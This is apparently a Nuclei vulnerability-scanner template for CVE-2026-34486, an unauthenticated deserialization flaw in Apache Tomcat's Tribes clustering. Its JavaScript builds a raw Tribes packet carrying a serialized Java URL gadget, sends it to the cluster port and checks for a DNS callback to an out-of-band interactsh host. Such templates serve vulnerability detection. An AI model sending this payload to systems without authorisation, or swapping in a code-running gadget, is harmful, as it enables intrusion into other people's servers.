id: CVE-2026-34486

info:
  name: Apache Tomcat Tribes EncryptInterceptor Bypass - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    Missing Encryption of Sensitive Data vulnerability in Apache Tomcat due to the fix for CVE-2026-29146 allowing the bypass of the EncryptInterceptor. This issue affects Apache Tomcat: 11.0.20, 10.1.53, 9.0.116.
  impact: |
    An unauthenticated attacker can achieve remote code execution by sending an unencrypted serialized Java object to the Tribes cluster receiver port.
  remediation: |
    Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.
  reference:
    - https://striga.ai/research/tomcat-tribes-unauth-rce
    - https://github.com/striga-ai/CVE-2026-34486
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34486
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-34486
    epss-score: 0.0168
    epss-percentile: 0.82426
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: tomcat
    shodan-query: product:"Apache Tomcat Tribes"
  tags: cve,cve2026,network,apache,tomcat,rce,deserialization,oast,oob

javascript:
  - pre-condition: |
      isPortOpen(Host, Port)

    code: |
      const net = require('nuclei/net');

      const address = Host + ':' + Port;
      const hostname = interactsh_url;

      const GADGET_PREFIX = 'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff';
      const GADGET_SUFFIX = '74000071007e0005740004687474707078740003706f6378';

      let hostnameHex = '';
      for (let i = 0; i < hostname.length; i++) {
        hostnameHex += hostname.charCodeAt(i).toString(16).padStart(2, '0');
      }

      const lenHex = hostname.length.toString(16).padStart(4, '0');
      const gadgetHex = GADGET_PREFIX + '74' + lenHex + hostnameHex + GADGET_SUFFIX;
      const gadgetByteLen = gadgetHex.length / 2;

      const MEMBER_HEX = '5452494245532d42'       // "TRIBES-B"
        + '01'                                      // version
        + '00'                                      // padding
        + '00000035'                                // body length (53)
        + '000000e8d4a51000'                        // memberAliveTime
        + '00000fa1'                                // tcpListenPort (4001)
        + '00000000'                                // udpListenPort
        + '00000000'                                // securePort
        + '04'                                      // host length
        + '7f000001'                                // 127.0.0.1
        + '00000000'                                // commandLength
        + '00000000'                                // domainLength
        + '01010101010101010101010101010101'        // uniqueId (16 bytes)
        + '00000000'                                // payloadLength
        + '5452494245532d45'                        // "TRIBES-E"
        + '01'                                      // version
        + '00';                                     // padding

      const OPTIONS = '00000000';
      const TIMESTAMP = '000000e8d4a51000';
      const UID_LEN = '00000010';
      const UID = 'dddddddddddddddddddddddddddddddd';
      const MEMBER_LEN = '0000004d';

      const serializedLenHex = gadgetByteLen.toString(16).padStart(8, '0');

      const channelData = OPTIONS + TIMESTAMP + UID_LEN + UID + MEMBER_LEN + MEMBER_HEX
        + serializedLenHex + gadgetHex;

      const channelDataByteLen = channelData.length / 2;
      const outerLenHex = channelDataByteLen.toString(16).padStart(8, '0');

      const FLT2002 = '464c5432303032';
      const TLF2003 = '544c4632303033';
      const packet = FLT2002 + outerLenHex + channelData + TLF2003;

      let conn;
      try {
        conn = net.Open('tcp', address);
        conn.SendHex(packet);
        conn.RecvString(10);
      } catch (e) {}

      if (conn) conn.Close();

      Export('payload_sent');

    args:
      Host: "{{Host}}"
      Port: "4000"
      interactsh_url: "{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 490a00463044022006dd89dab9d22857e7224d7456abcb797987ef684e36b6450591e28a9adf7d44022023495cae3337415ed940e25323a4e1cc889344d0594841e3092129e92298a9e3:922c64590222798bb761d5b6d8e72950